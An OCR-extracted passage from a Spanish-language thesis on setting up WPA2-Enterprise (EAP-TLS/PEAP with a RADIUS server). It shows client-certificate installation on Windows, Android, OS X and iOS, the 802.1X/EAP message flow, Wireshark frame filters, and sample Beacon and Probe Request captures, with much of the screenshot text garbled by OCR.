+d Grupo en el hogar || client_cert.pem 06/06/2014 12:42 Archivo PEM 5KB
|| client_key.pem 06/06/2014 12:43 Archivo PEM 2KB
1% Equipo
& Disco local (C:)
@ Unidad de BD-R(|
) Unidad de CD (F:
@ Disco extraible (C
14 elementos

Figura. 78 Archivos copiados en disco C

Se ubica el archivo con el nombre client_cert.p12, se da clic derecho, en

la ventana que se presenta, se selecciona Instalar PFX, como se muestra a

continuacion:

. Usuarios

1. Windows

T

.. Windows.old
|| cacert.pem
‘ @ client_cert

|| client_cert.pem

|| client_key.pem

B
B
=
B
3
3
79

Figura.

Instalar PFX
Analizar con AVG

Destruir de manera permanente AVG

Abrir con >
Anadir al archivo...

Anadir a "client_cert.rar"

Anadir y enviar por email...

Anadir a "client_cert.rar" y enviar por email
Comprimir y compartir (WinZip Express)

WinZip 4

Instalacion de certificado

Una vez seleccionada la opcidn, se presentara la siguiente ventana de

asistente para la instalacion de certificado en la que se presiona el boton

siguiente.
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Asistente para importacién de certiﬁcad_ u

Este es el Asistente para importacién
de certificados

Este asistente le ayuda a copiar certificados, listas de
certificados de confianza y listas de revocacion de
certificados desde su disco a un almacén de certificados.

Un certificado, que se emite por una entidad de
certificacidn, es una confirmacién de su identidad y
contiene informacidén que se usa para proteger datos o
para establecer conexiones de red seguras. Un almacén
de certificados es el drea del sistema donde se guardan
los certificados.

Haga dic en Siguiente para continuar.

<natas [ siguiente > | [ canceler |

Figura. 80 Ventana de asistente para instalacién de certificados

Para confirmar la ubicacion y el tipo de certificado a instalar, se hace clic

en siguiente como se observa en la siguiente figura:

Asistente pa: imp:mm_ g

Archivo para importar

Especifique el archivo que desea importar.

Nombre de archivo:

Examinar. ..

Nota: se puede almacenar mas de un certificado en un mismo archivo en los siguientes
formatos:

Intercambio de informacion personal: PKCS #12 (.PFX,.P12)
Estandar de sintaxis de cifrado de mensajes: certificados PKCS #7 (.P7B)

Almacén de certificados en serie de Microsoft (.SST)

Més informacién acerca de los formatos de archivo de certificado

[ <atas | siguente > | [ cancelar |

Figura. 81 Ubicacién y tipo de archivo a instalar

Una vez confirmada la ubicacion del archivo, el asistente solicitara la
clave para instalar el certificado, en este caso la clave sera: espe’4 y se
selecciona las tres opciones que se encuentran por debajo del campo de

texto y se presiona siguiente:
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Asistente para importacién de certificados — -un

Contrasena
Para mantener la seguridad, la clave privada se protege con una contrasenia.

Escriba la contrasefia para la dlave privada.

Contrasefia:
LIIT1T]

Habilitar proteccién segura de dave privada. Si habilita esta opcidn, se le
avisard cada vez que la dave privada sea usada por una aplicacion.

Marcar esta dave como exportable. Esto le permitird hacer una copia de
seguridad de las daves o transportarlas en otro momento.

Incluir todas las propiedades extendidas.
Mas informacion acerca de la proteccion de daves privadas

[ <atés || siguente> | [ cancelar

Figura. 82 Contrasefa de certificado

El siguiente paso es seleccionar la carpeta en el que el certificado se
almacenara, es decir que el usuario selecciona a que raiz pertenece el
certificado, es recomendable que se deje en la opcion que se encuentra por

defecto.
Asistente para importacién de certiﬁcado- i u_n
|

H Almacén de certificados
Los almacenes de certificados son las dreas del sistema donde se guardan los

certificados.
Windows puede seleccionar automaticamente un almacén de certificados; también se

puede especificar una ubicacion para el certificado.
,, Seleccionar autométicamente el almacén de certificados segun el tipo de

~ certificado
) Colocar todos los certificados en el siguiente almacén

Examinar...

Almacén de certificados:

Mas informacidn acerca de los almacenes de certificados

[ <atas | siquiente > | [ cancelar |

Figura. 83 Almacenamiento de certificados



78

Para finalizar el asistente, se presiona el botdn finalizar como se muestra

en la figura:
Asistente para importacion de certificados &J
4
Finalizacion del Asistente para
importacién de certificados
]
> 1
7 :
< __.gJ Se importar3 el certificado después de hacer dic en
li;};/ Finalizar.
Especificd la siguiente configuracion:
Almacén de certificados seleccionado eSS g e YR
Contenido PFX
Nombre de archivo C:\dient_cert.p12
< m »
[ < Atrds ][ Finalizar ] [ Cancelar

Figura. 84 Finalizacion del asisten de instalacion

La instalacion genera una nueva clave para el intercambio de

informacion, para los que se debe seguir con los siguientes pasos:

En la ventana que se presenta, se presiona el botén de nivel de
seguridad, selecciona nivel alto y siguiente, se escribe la contrasefia de
encriptacion, para este caso: espe14, el proceso pedira confirmacion de la

instalacion del certificado, se confirma presionando si:
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—— [ Elegir un nivel de seguridad )

Elja un nivel de seguridad apropiado para este elemento.

Importacién de una nueva clave privada de intercambio

Una aplicacion esta creando un elemento protegido.

9 Ao
Solicitar mi pemiso con una contrasedia cuando la
Informacién vaya a 3
_ Medio
Solicitar mi pemiso cuando la informacién vaya a
utilizarse,

Clave privada de CryptoAP

e st e |

(_Acestr ] [ Canceler | [ Detales... | |

iadeseguidad

Estd 2 punto de instalar un certificado desde una entidad de Crea trasefia para "
4 l\ certificacion (CA) que afirma representar a: . (e =

SERVIDOR

Windows no puede validar que el certificado procede realmente de
“SERVIDOR". Péngase en contacto con "SERVIDOR” para confirmar su
origen. El siguiente nimero le ayudars en este proceso:

Crear una contrasefia para este elemento.

Huella digital (shal): 284CBB2A 2DAJEBTE E628FB34 464243C8 7E11B382
Advertencin Contrasefia para:  (Jave privada de CryptoA
Siinstala este certificado de raiz, Windows confiars sutomaticamente en
cualquier certificado emitido por esta CA. La instalacién de un
certificado con una huells digital sin confirmar supone un riesgo para la
seguridad. Al hacer chic en "SI, asume este riesgo.

Contrasedia “eseee
Confimar: sssens

Desea instalar este centificado?

si w1 [ <ards |[ Fnslizar | [ Cancelar

Figura. 85 Clave de intercambio de informacion

Una vez instalado el certificado, se debe confirmar que es un certificado
de confianza para que poder ser utilizado en la autenticacion del suplicante,

para ello, se da clic en el boton de inicio y se ingresa el siguiente comando:

certutil — f —enterprise —addstore NTAuth AD.crt
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Programas (1)

T certutil -f -enterprise -addstore NTAuth AD

-/ Ver mas resultados

[ enterprise -addstore NTAuth AD.crf > | Apagar »

.@ 7 =0 | e

Figura. 86 Clave de intercambio de informacion

Instalados los certificados y validados, se procedera a configurar los
parametros de la red inalambrica, para lo cual se siguen los siguientes

pasos:

Se ingresa al centro de redes y recursos compartidos de Windows 7, de
la ventana se selecciona configurar una nueva conexion o red , como se

observa en la siguiente figura:



?‘E <« Redes eInternet » Centro de redes y recursos compartidos v | 49 [ll Buscaren el Panel de control pel

Ventana principal del Panel de . : 2z Zo: :
EESE Ver informacién basica de la red y configurar conexiones

control
& Y Ver mapa completo
Administrar redes inalambricas iy
Cambiar configuracién del @ JAIME-PC TITANIUM Guest Internet
adaptador (Este equipo)
Cambiar configuracién de uso Ver las redes activas Conectar o desconectar

compartido avanzado Tipo deacceso:  Internet

TITANIUM Guest Grupo Hogar: Unido
Red doméstica Conexiones: !l Conexién de red inaldmbrica
(TITANIUM Guest)

Cambiar la configuracién de red

@ Configurar una nueva conexién o red
- Configurar una conexién inaldmbrica, de banda ancha, de acceso telefénico, ad hoc o VPN; o bien
configurar un enrutador o punto de acceso.

? Conectarse a una red

Conectarse o volver a conectarse a una conexion de red inalambrica, cableada, de acceso telefénico
o VPN.

Vea también @@, Elegir grupo en el hogar y opciones de uso compartido
Obtener acceso a archivos e impresoras ubicados en otros equipos de la red o cambiar la

Firewall de Windows configuracién de uso compartido.

Grupo Hogar
Intel® PROSet/Wireless [S) solucionar problemas

Opciones de Intemet Diagnosticar y reparar problemas de red u obtener informacién de solucién de problemas.

Figura. 87 Creacion de nueva conexién o red

Se debe seleccionar la opcion de Conectar manualmente a una

inalambrica.

=

Elegir una opcién de conexion

Conectarse a Internet
Configurar conexion inalamb., de banda ancha o de acc. telefonico a Internet.

Configurar una nueva red
<am, Configure un enrutador o un punto de acceso nuevos.

. Conectarse manualmente a una red inalambrica
B39 Conéctese a una red oculta o cree un nuevo perfil inalambrico,
Conectarse a un area de trabajo
Configurar una conexion de acceso telefénico o VPN a su area de trabajo.

Configurar una conexion de acceso telefénico
Conectarse a Internet mediante una conexion de acceso telefénico.

[ Siguiente ][ Cancelar ]

Figura. 88 Tipos de conexion

Se configuran los parametros de la red al que se va a conectar:

81

red
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@ ¥ Conectarse manualmente a

Escriba la informacion de la red inaldmbrica que desea agregar.

Nombre de la red: tesisl4

Tipo de seguridad: [WPAZ-Enterprise

Tipo de cifrado: [AES ,]

Clave de seguridad: \ | [ 0cultar caracteres

Iniciar esta conexion automaticamente

Conectarse aunque la red no difunda su nombre

Advertencia: esta opcion podria poner en riesgo la privacidad del equipo.

[ Siguiente ][ Cancelar ]

Figura. 89 Parametros de red

A continuacidn como se muestra en las imagenes se configura los

parametros de seguridad.

Se selecciona la opcion de Cambiar la configuracion de conexion, y en la
ventana que se presenta seleccionar la pestafia de seguridad, depuse se

presiona el botdén de Configuracion.

tesis14 se agregé correctamente.
Eij2 un método de autenticaddn de red:
(Maosoft: EAP protegdo PEAP) v [ Con
# Cambiar la configuracién de conexién [] Recordar mis credencales para esta conexién cada

Abea las propiedades de la conexién para cambiar la configuracién.

Figura. 90 Configuraciéon de parametros

En la siguiente ventana se muestra las configuraciones de seguridad,

como la seleccion del certificado que ya fue instalado en pasos anteriores,
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se configura la direccion /P del servidor al que se va y se presiona le botén
Configurar... y se desmarca el visto en el dialogo, se acepta y se cierran las

ventanas.

| Validar un certificado de servidor

[¥] Conectarse a estos servidores:
192.168.1.12

Entidades de certificacdn raiz de confianza:

| Microsoft Root Authority -
Microsoft Root Certificate Authority

Microsoft Root Certificate Authority 2011
[V] SERVIDOR
[7] StartCom Certification Authority =
__| Thawte Premium Server CA

Thawte Premium Server CA -
« m »

Propiedades de EAP MSCHAPv2 ]

[7]No pedr la intervencion del usuario para autorizar nuevos
servidores o entidades de certificacén de confianza.

Al conectar:

el método de a
[Convaseﬁa segura (EAP-MSCHAP v2) v] Configurar... |

Usar autométicamente el nombre de inicio de
[] sesién y la contrasefia de Windows fy dominio, si
existe alguno).

[V] Habiitar reconexidn rapida
|| Aplicar Proteccion de acceso a redes
Desconectar si servidor no presenta TLV con enlace de difrado

(_Aceptar ] [ Cancelar |

Habilitar privacidad
de identidad

(Caceptar ] [ concelo

Figura. 91 Parametros de seguridad

Se selecciona la red a conectar en este caso tesis714, posterior se
solicitara las credenciales, las mismas que fueron creadas en la base de
datos en pasos anteriores, para el ejemplo se utilizara usuarioa, clavea.

Como se indica en la siguiente figura:
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No conectado

dﬂg Hay conexiones disponibles

Autenticacion de red
Escriba sus credenciales de usuario

[
usuanoa
\ sssnee

Coneaén de red inaldmbnica

TITANIUM Guest T

tesisld |

TITANIUM AuRoct

-~
Q.‘
Nombre: tesisld
DIRECT-wi Intensidad de la sefak Media Lo
Tipo de segundad WPAZ
9
-'.
Kl

Mauricio \ Tipo de radio: 80211
| SSID: tesisld
MONICA BURBAN(

Q'.

Abnir Centro de redes y recursos compartidos

No se puderon vallder las credenciales proporconadas por el servidor, Es recomendable
que fnakice la conexdn y que comunique al adminstrador la Informacién suministrada en los
detalles. Adn puede conectarse, pero sl lo hace, se expone

8 un riesgo de seguridad debido a un posible servidor no autorizado.

(%] Detales

Figura. 92 Autenticacion

2.6.2 Instalacion de certificados en Android

A continuacion el procedimiento a seguir para instalar los certificados y

conectar un teléfono con sistema operativo Android.

Para poder instalar los certificados dentro del teléfono se necesita copiar
los 4 archivos necesarios para el suplicante en la raiz del dispositivo, como

se muestra en la siguiente imagen:
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Q= Dl & 1520

Enlinea
/storage/sdcard0
~ —  WhatsApp
20/06/2014
-~ z7logs
24/06/2014
.. cacert.pem
436 KB 24/06/2014
. client_cert.p12
3,58 KB 24/06/2014
. client_cert.pem

4,52 KB 24/06/2014

. client_key.pem
1,79 KB 24/06/2014

LA [ Q
Figura. 93 Archivos ubicados en la raiz

Para instalar los certificados se ingresa Ajustes > Seguridad >Instalar
desde el almacenamiento, para poder instalar el certificado se solicitara la
contrasefia del certificado (espe14), finalmente confirma si el certificado a

instalarse es el correcto como indica la siguiente figura.

‘\ Ajustes

& Cuentas y sincronizacion
YUIMhivial Lruncaue

¥ Acceso ala ubicacién Extraer de client_cert.p12

Nombre del certificado

.. Seguridad

Ingrese la contrasena para extraer los client cert
certificados —
El paquete contiene

una clave de usuario

un certificado de usuario
un certificado CA

A Idioma y teclado

[& Copia de respaldo y restauracion

SISTEMA Cancelar

£l Tecla rapida
3@ Fechay hora

&3 Accesibilidad
Figura. 94 Archivos ubicados en la raiz
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Si se desea comprobar que el certificado ha sido instalado de forma
correcta, se ingresa: Ajustes > Seguridad > Credenciales de confianza >
PERSONAL donde se podra comprobar el certificado instalado y los datos

que este contiene.

@ % Dl & 15:41

<@ Credenciales de confianza

Sistema USUARIO

ESPE
SERVIDOR

Figura. 95 Certificado instalado

Para conectarse a la red se ingresa a: Ajustes > Wifi, se selecciona la
red (tesis14), donde se solicitara toda la informacidén necesaria para que el

suplicante en este caso el teléfono Android se conecte.

Q Ajustes

Intensidad de la sefal

REDES INALAMBRICAS Bajo

Ed wi-Fi

Seguridad

802.1x EAP
Método EAP
PEAP p
€ Bluetooth ©@ )
Autenticacién de fase 2
MSCHAPV2 P
& Datos moviles Centificado de CA
client_cert -
L] uamadas Certificado de usuario
(no especificados) -
; 1dentidad
Mas ... usuarioa
ISPOSITIVO Identidad anénima
“ Sonido Contrasena
claveal
E Pantalla Bl rostrar contrasena

Mostrar opclones avanzadas

/l\ Pantalla principal

Cancelar Conectar

Figura. 96 Conexion a red inalambrica
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2.6.3 Instalacion de certificados en OS X

Para instalar los certificados en OS X, se hace doble clic en el certificado

a instalar:

Coertifioetiomy Crrtificen Certificen Cortificen
v o | v v

cacert.pem lie > client_cert.pem client_key.pem

Cortifioen

server_keycert.pem

Figura. 97 Certificado cliente_cert.p12

Aparecera una ventana para autorizar el certificado en el llavero
(keychain), se pone la clave del certificado (espef4) y este es agregado

como se puede apreciar en la siguiente figura:



“\h’:_:.:.l".:*up Lot n Enter the password for “client_cert.pl2™:

Keychain | lagin i)

[ View Cortibcates | [ Cancet | (IARSRS) ! L—zc-ug

o login T Usuamio
& Micr eruficates — tisued by: SERVIDOR
& Priva. tedDatak umu'amu,m Lzouana.umtwrm
. Prive.. edOatak © This cervficate was wgned by an untrunted Bsuer
& Prva  tedDatak 1 Date Modied i ~
A \Cloud @ www lacebo  ghaoutiook com) Web form passmord  Sep 7, 2013, 122917 M - login
& System @ www.lacebo ghahotmislcom) Web form passmond  Now 29, 2012, 7.08.47 MM -~ login
[ System Roots @ www evearrera net (vamico) wternet password  Jan 14, 2013, 61316 M - loain
@ www.espe eduec (17127365500 Web form password  Aug 24, 2012, 103517 MW - login
@ www enprade com Mroyakaghts Web form password o 30, 2012, 10928 M - login
@ www engrade com (roya_brght) Web form passmord  Dec 11, 2012, 100454 AM - login
@ wwwdropbo M@hotmad com)  Web form passmord  Dec 27, 2002, 72943 MM - login
““u I @ wwwhbuenas om (royshmghtl) Web form passmord  Mar 25, 2010, 75226 AM -« login
2, Passwords A Wireless1 $02.1X Password Ot 3, 2010, 14215 M login
Secure Notes : ::h“ :::: m
&) My Certificates ARX —— ™
¥ Keys @ et mal igm@yahoo comi Web form passnord  Sep 22, 2012, 100N 16 AM -~ login
LJ Certificates @ twmter.com ( @hotmal comi Web form passwond Ot 13, 2002, 115654 AM -~ login
A TeveDeck apphucation passeoed  feb 17, 2012, 52907 M -~ login
A TweetDeck apphcation password Feb 17, 2012, 40910 M -~ login
A TweetDeck apphcation password feb 17, 2012, 40% 11 MM - login
A voya_ kgt com Feb 14, 2012, 45700 - login
PN vroya_kmight MobleMe passacrd  Mar 2, 2012, $:00:26 Mw login
@ TITANIUM Airfort Time Capace  Awfort Dk passward Jun 1, 2014, 8.07:22 AM login
@ TITANIUM AirPort Time Capale  AwPort Dk passmarnd Jun 1, 2014, 80722 AM - login
@ TITANIUM AirPort Time Capale  AwPort Dk passmarnd Jun 1, 2014, 80722 AM -~ login
@ TITANIUM Airfort Time Capsufie  AwPort Disk passwand Jun 1 20014, 80723 AW - login
A TITANIUM AirPort Time Capsue  AiPort base station . Jun 1, 2014, 80722 A - login
@ smwp.mecom rerret paisacrd Ocx 19, 2012, 110744 M - login
@ smp.railyahoo com mrerret parsword Asg 1, 2012, 75229 " login
@ smwiwe.com Itermet password  Apr 6, 2012, 45540 PM - login
@ smwpivecom Itermet password  Jul 15, 2012, 95602 AM -~ login
™ ™ e v,

Figura. 98 Certificado USUARIO agregado al keychain

Al certificado instalado, se tiene que dar privilegios de confianza. Se
hace doble clic en el certificado USUARIO y lo hace de confianza en todos

sus parametros como se muestra:
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e OO0 USUARIO

USUARIO

Issued by: SERVIDOR
Expires: Wednesday, June 3, 2015 at 3:24:34 PM Ecuador Time

€ This certificate was signed by an untrusted issuer

Cortifieate

v Trust
When using this certificate: Always Trust | | 7 )
Secure Sockets Layer (SSL) Always Trust :
Secure Mail (S/MIME) Always Trust :
Extensible Authentication (EAP) Always Trust H
IP Security (IPsec) Always Trust -

“

iChat Security Always Trust

Kerberos Client Always Trust -
Kerberos Server Always Trust -

Code Signing Always Trust -
Time Stamping Always Trust -

Figura. 99 Certificado USUARIO

Se selecciona nuestra red wireless (tesis14):

@ DY & wmE =T

Wi-Fi: On
Turn Wi-Fi Off

v TITANIUM AirPort S5GHz a7z
linksys =
Mauricio V a =
MONICA BURBANO a=
tesis14 a7z
TITANIUM Guest a7z

Join Other Network...
Create Network...
Open Network Preferences...

Figura. 100 Certificado USUARIO siempre de confianza

Se despliega una ventana donde se pide que se llene los capos de Mode
(EAP-TLS) e lIdentity (se selecciona el certificado instalado USUARIO)

ademas, se pide el Username (usuarioa) registrado en el servidor RADIUS.
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~“%, The Wi-Fi network “tesis14” requires WPA2
="  enterprise credentials.
~
Mode: | EAP-TLS =
Identity: | USUARIO 3] («]
5 USUARIO
Cortiffeate
boadond Issued by: SERVIDOR
- Expires: Wednesday, June 3, 2015 at 3:24:34 PM Ecuador Time
© This certificate is marked as trusted for this account
» Details
Username: [usuarioa
[2] Remember this network
( '} ) | Cancel | [ Join ]

Figura. 101 Credenciales Enterprise

Se verifica el certificado y se selecciona siempre confianza con el
certificado emitido por el SERVIDOR.

0.0.6 Verify Certificate

~~ Authenticating to network "tesis14"

| Before authenticating to server "SERVIDOR", you should examine the server's
~ certificate to ensure that it is appropriate for this network.
b %

To view the certificate, click 'Show Certificate'.

@ Always trust “SERVIDOR"

L@ SERVIDOR
L g SERVIDOR

SERVIDOR

Issued by: SERVIDOR

Expires: Wednesday, June 3, 2015 at 3:16:23 PM Ecuador Time
€ This certificate was sioned hv an untrusted issuer

v Trust Use System Defaults

Certifiectte

When using this ceniﬁcate:M\ (?)
Never Trust

Extensible Authentication (EAP) |"Always Trust 3
X.509 Basic Policy | Always Trust $
» Details

?) | Hide Certificate | | Cancel | E—Gontinue—}

Figura. 102 Certificado SERVIDOR

Como se puede verificar en las preferencias de red inalambrica, nuestra

conexion con tesis14 esta autenticada via EAP-TLS.
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800 Network
L« > || ShowAll | Q

Location: | Automatic

@ Ethernet fod
A4 Status: Connected Turn Wi-Fi Off
r— Wi-Fi is connected to tesis14 and has the IP
@ FireWire Network Name: | tesis14
@ Bluetooth PAN 0 Ask to join new networks
N y Known networks will be joined automatically.

If no known networks are available, you will

® Thund...t Bridge P have to manually select a network.

4

802.1X: Default Disconnect

Authenticated via EAP-TLS
Connect Time: 00:00:24

+ | = [~ ™ Show Wi-Fi status in menu bar Advanced. ?

Assist me... Revert Apply J

Figura. 103 Conexion establecida via EAP-TLS

2.6.4 Instalacion de certificados en iOS

Para la instalacion de los certificados en iOS, es necesaria la instalacion
de una aplicacion (App), la misma es gratuita y se descarga en OS X a

través del App Store. Esta aplicacidon se llama Apple Configurator.

Se conecta el dispositivo con iOS via USB y se ejecuta Apple
Configurator. Clic en Prepare > Setup y en Settings se selecciona la opcion

Cetrtificates.
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290 - SEPROO uea S0l Coniouraion

Settings  Apps

Customize the experience of the device setup assistant.

Skip: [ Location Services
| Restore
) Apple ID
() Terms and Conditions
| Passcode
. Siri
(] Diagnostics

Settings: s WicFi

®  Not configured

Certificates
Not configured

Device Enrollment
Not configured

Configure Settings...

Figura. 104 Apple Configurator

Se asigna un nombre al certificado (USUARIO), se selecciona el
certificado (client_cert.p12) y se pone el Password (espe14) del certificado y
se guarda.

606 — Aol Confourator

e WicFi »
? Not configured Certificate

Certificate Name

Name or description of the certificate
Device Enrollment IUSUARIO
Not configured

Certificate or Identity
PKCS1 (.cer, etc) or PKCS12 (.p12) files for inclusion on device

Personal Information

This content is stored in Personal Information Exchange
(PKCS12) format, and is password protected. Other than
the file name, no information can be displayed.

Password
Password protecting the PKCS12 file, used for installation
without prompting

Figura. 105 Instalacion certificados iOS
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Seguido, se configura la red Wi-Fi. Se llenan los campos de: Service Set
Identifier (tesis14) y Security Type (WPA/WPA2 ENTERPRISE). En
Accepted EAP Types se selecciona TLS y se indica la identidad del
certificado (Identity Certificate), finalmente se selecciona USUARIO y se

guarda.

000 Apple Configurator

Wi-Fi . .
1 Payload Configured Wi-Fi

Certificates

1 Payload Configured Service Set identifier

identification of the wireless network to connect to

p Device Enroliment ‘tesis14
B8 Not configured
Hidden Network

Enable if target network is not open or broadcasting

™ Auto Join

Automatically joen thes wireless Network

Proxy Setup

Configures proxies 1o be used with this network
None

Security Type

Wireless network encryption 10 use when connecting
WPA | WPA2 Enterprise  ©

Enterprise Settings

Configuration of protocols, authentication, and trust

(e e
Accepted EAP Types

Authentication protocols supported on target network

& s CJUEAP [ EAP-FAST [ EAP-AXA

ms | PEAP _ EAP-SIM

Identity Certificate
Credentials for connection to wireless network

Network Type

Configures network 10 appear as legacy or Passpoint

Standard :

Figura. 106 Configuracion Wi-fi para iOS

Completado este paso, se hace clic en Prepare (icono en la parte inferior
de la ventana) con lo que el/los equipos que estén conectados por medio de

USB seran actualizados con esta configuracion.

Para comprobar la conexién a nuestra red tesis714, en el dispositivo iOS

se hace clic en dicha red y se comprueba la conexion sin inconvenientes.



iPad = 247 PM 7 55% @)
Ajustes Wi-Fi
Modo Avién S Wi-Fi O
= Wi-Fi tesis14 v tesis14 e = @
Bluetooth No

Centro de notificaciones

@ Centro de control

No molestar

@ General

Fondos de pantalla y brillo
Sonidos

a Cédigo

(M Privacidad

SELECCIONE UNA RED...

DIRECT-wM-BRAVIA a
TITANIUM AirPort a
TITANIUM AirPort 5GHz a
TITANIUM Guest a
Otra...

Preguntar al conectar

Se 4 au a a las redes

.)) )
CHCMHCNC

9)

D))

no hay ninguna red conocida disponible, debera
seleccionar una manualmente.

Figura. 107 iOS conectado a tesis14
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CAPITULO Il

ESCENARIO DE PRUEBA NORMAL

En el protocolo 802.11i se establecen procedimientos de autenticacion
802.1X y protocolos de gestibn de claves. Como se ha revisado
anteriormente, son tres las entidades que participan: el suplicante, el
autenticador (AP) y el servidor de autenticacion. Cuando una autenticaciéon
es correcta, se supone que el suplicante y el autenticador han verificado su
identidad mutuamente y generan una clave compartida, esta servira a su
tiempo para satisfacer llaves subsecuentes. Una vez se haya establecido un
tunel seguro, el servidor de autenticacion verificara las credenciales del
suplicante en su base de datos. De ser exitosa, se realiza un apreton de
manos (handshake) de cuatro vias que permitira el trafico de los paquetes o
informacion protegida. Todo este proceso se detallara en las 5 etapas que

se muestran en la siguiente figura.



Etapa 1: Network
Security Capability
Discovery

Etapa 2: 802.11
Authentication and
Association

Etapa 3:
EAP/802.11X/RADIUS
Authentication

Etapa 4: 4-Way

Handshake

Etapa 5: Secure Data
Communication

—

(7 B
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192.168.1.0/24

L
iPadios Freeradius/
Suplicante ESSID: tesis14 Ug:::'i':j:re L\;er
Altenticador autenticacion /
AAA
P (1) Beacon
- (2) Probe Request N
P (3) Probe Response N
- (4) 802.11 Authentication Request
(5) 802.11 Authentication Response
(6) Association Request N
(7) 802.11 Association Response N
Authenticated Authenticated
Associated 802.1X Associated 802.1X
Blocked Security Blocked Security
Params Params
(8) EAPOL - Start N
P (9) EAP - Request Identity .
- (10) EAP - Response Identity (11) RADIUS Access Request N
P (13) EAP Request Start PEAP P (12) RADIUS Access Challenge -
N (14) EAP Response TLS Client Hello - (15) RADIUS Access Request N
(17) EAP Request TLS Certificate (16) RADIUS access Challenge .
(18) EAP Response TLS Key Exchange (19) RADIUS Access Request N
(21) EAP Request Cipher TLS Complete P (20) RADIUS Access Challenge .
(22) EAP Response PEAP R - (23)RADIUS Access Request N
P (25) EAP Success . P (24) RADIUS Access Accept .

Master Session Key
(MSK)

(26) MSK

Master Session Key

a

Pairwise Master Key
(PMK)

Pairwise Master Key
(PMK)

(27) AA, ANonce, sn, msg1

Pairwaise Transient
Key (PTK)

(28) SPA,

SNonce, SPARSN [E sn, msg2, MIC

(29) AA, ANonce, AARSN IE, sn+1, msg3, MIC

Pairwaise Transient
Key (PTK)

-

(30) SPA, sn+1, msg4, MIC

802.11X Unlocked

802.11X Unlocked

(31) Protected Data Packets

(MSK)

Figura. 108 EAP/802.11X/RADIUS Authentication
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Con el fin de facilitar la busqueda Yy filtrar las tramas de Administracion y
Control en Wireshark que resultan de la captura que se realizé en los

escenarios, se presenta la siguiente tabla que resume los comandos para

este fin:

Tabla. 4

Filtros en Wireshark

Tramas de Administracion (Management)

wlan.fc.type==
# Subtype description Wireshark display filter
1 Association Request wlan.fc.type_subtype==0x00
2 Association Response wlan.fc.type_subtype==0x01
3 Reassociation Request wlan.fc.type_subtype==0x02
4 Reassociation Response wlan.fc.type_subtype==0x03
5 Probe Request wlan.fc.type_subtype==0x04
6 Probe Response wlan.fc.type_subtype==0x05
7 Beacon wlan.fc.type_subtype==0x08
8 ATIM wlan.fc.type_subtype==0x09
9 Disassociation wlan.fc.type_subtype==0x0A
10 Authentication wlan.fc.type_subtype==0x0B
1 Deauthentication wlan.fc.type_subtype==0x0C
12 Action wlan.fc.type_subtype==0x0D

Tramas de Control

wlan.fc.type==

13 Block ACK Request wlan.fc.type_subtype==0x18

Continua =2
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14 Block ACK wlan.fc.type_subtype==0x19
15 Power-Save Poll wlan.fc.type_subtype==0x1A
16 RTS wlan.fc.type_subtype==0x1B
17 CTS wlan.fc.type_subtype==0x1C
18 ACK wlan.fc.type_subtype==0x1D
19 CF-end wlan.fc.type_subtype==0x1E
20 CF-end + CF-ack wlan.fc.type_subtype==0x1F

Trama de Datos

wlan.fc.type==

3.1  Etapa 1: Network Security Capability Discovery

Esta etapa consiste de los mensajes (7) al (3). El Access Point (AP)
emite periodicamente a manera de broadcast sus parametros de seguridad
RSN (Robust Security Network) que estan establecidos dentro del protocolo
802.11. Esto se lo hace a través de un canal (channel) especifico por medio
de una trama llamada Beacon. Cuando un cliente se activa, envia una trama
conocida como Probe Request y en respuesta, el AP enviara una trama
Probe Response la cual es informacion referente a su capacidad, velocidad

de datos, etc. Las tramas son:

3.1.1 Beacon

Es una trama de tipo de administracion (management frame). Los
Access Points continuamente envian estas tramas para anunciar su
presencia en una red WLAN. Esto incluye el SSID (service set identification)
e informacion que permiten sincronizar estaciones con BSSID (basic service

set identification).
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-wlan.fc.type_subtype==0x08

No. Time Source
1 6.600000 WistronN 00:60:89

Broadcast

(—| IEEE 862.11 Beacon frame, Flags: ........
Type/Subtype: Beacon frame (©x08)
[=] Frame Control: €xeese (Normal)
Version: ©
Type: Management frame (©)
Subtype: 8
[=] Flags: exe
...... 00 = DS status: Not leaving DS or network is operating in AD-HOC mode (To DS: © From DS: ©) (0x€0)
.0.. = More Fragments: This is the last fragment
. 0... = Retry: Frame is not being retransmitted
..0 ... = PWR MGT: STA will stay up
..0. .... = More Data: No data buffered

Protected flag: Data is not protected

@
[

O... ..., = Order flag: Not strictly ordered
Duration: ©
Destination address: Broadcast (ff:ff:ff:ff:ff:ff)
Source address: WistronN 00:00:89 (00:1b:bl:00:00:89)
BSS Id: WistronN ©0:00:89 (00:1b:b1:00:00:89)
Fragment number: ©
Sequence number: 2912

(+| IEEE 862.11 wireless LAN management frame

T

CELIANSO 60 00 00 ff ff ff ff ff ff 60 1b b1 60 60 SOQNN........ ........
0016
0020 =
CLEENS4 8b 96 6c 12 18 24 63 061 61 65 64 60 61 60 CONN. .. ...
0040
0050
0060
0070
0080

@ * Frame (frame), 132 bytes = Packets: 119230 Displayed: 222 Marked: 0 Load time: 0:00.792 |
Figura. 109 Beacon Frame

01 O1NN....cccc caasaaan

'

3.1.2 Probe Request

Es una trama de tipo de administracion (management frame) que
aparece en el momento en que un cliente se activa o una tarjeta NIC
(Network Interface Controller) se habilita con el objetivo de obtener
informacion de cualquier AP en rango en los diferentes canales que soporten

sus caracteristicas para asociarse.
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No. Time Source Destination Protocol Length Info
48 3.951065000 Broadcast

\E\ IEEE 802.11 Probe Reguest, Flags: ........ C
Type/Subtype: Probe Request (6x04)
(=] Frame Control: ©x6840 (Normal)
Version: ©
Type: Management frame (0)
Subtype: 4
(=] Flags: exe
...... = DS status: Not leaving DS or network is operating in AD-HOC mode (To DS: © From DS: ©) (©x00)
. = More Fragments: This is the last fragment

. ... = Retry: Frame is not being retransmitted
..0 .... = PWR MGT: STA will stay up
..0. .... = More Data: No data buffered
.0.. .... = Protected flag: Data is not protected
. = Order flag: Not strictly ordered

Duration: @
Destination address: Broadcast (ff:ff:ff:ff:ff:ff)
Source address: Apple eb:52:67 (28:6a:ba:eb:52:67)
BSS Id: Broadcast (ff:ff:ff:ff:ff:ff)
Fragment number: ©
Sequence number: 653
[+] Frame check sequence: @xffbf6cd4 [correct]
(+| IEEE 862.11 wireless LAN management frame

0000 00 00 12 60 2e 48 60 06 16 02 99 09 ab
0010 0O 0O 40 60 60 60 ff ff ff ff ff ff 28
0020 52 67 ff ff ff ff ff ff d0 28 00 00 01
0030 ©b 16 32 68 6c 12 18 24 30 48 60 6c 2d
0040 1b ff GO 60 60 60 60 66 60 06 00 6O 60
0050 66 6O 6O 60 60 60 60 66 dd 69 060 10 18
0060 ©O1 60 00 dd le 60 90 4c 33 06 18 1b ff
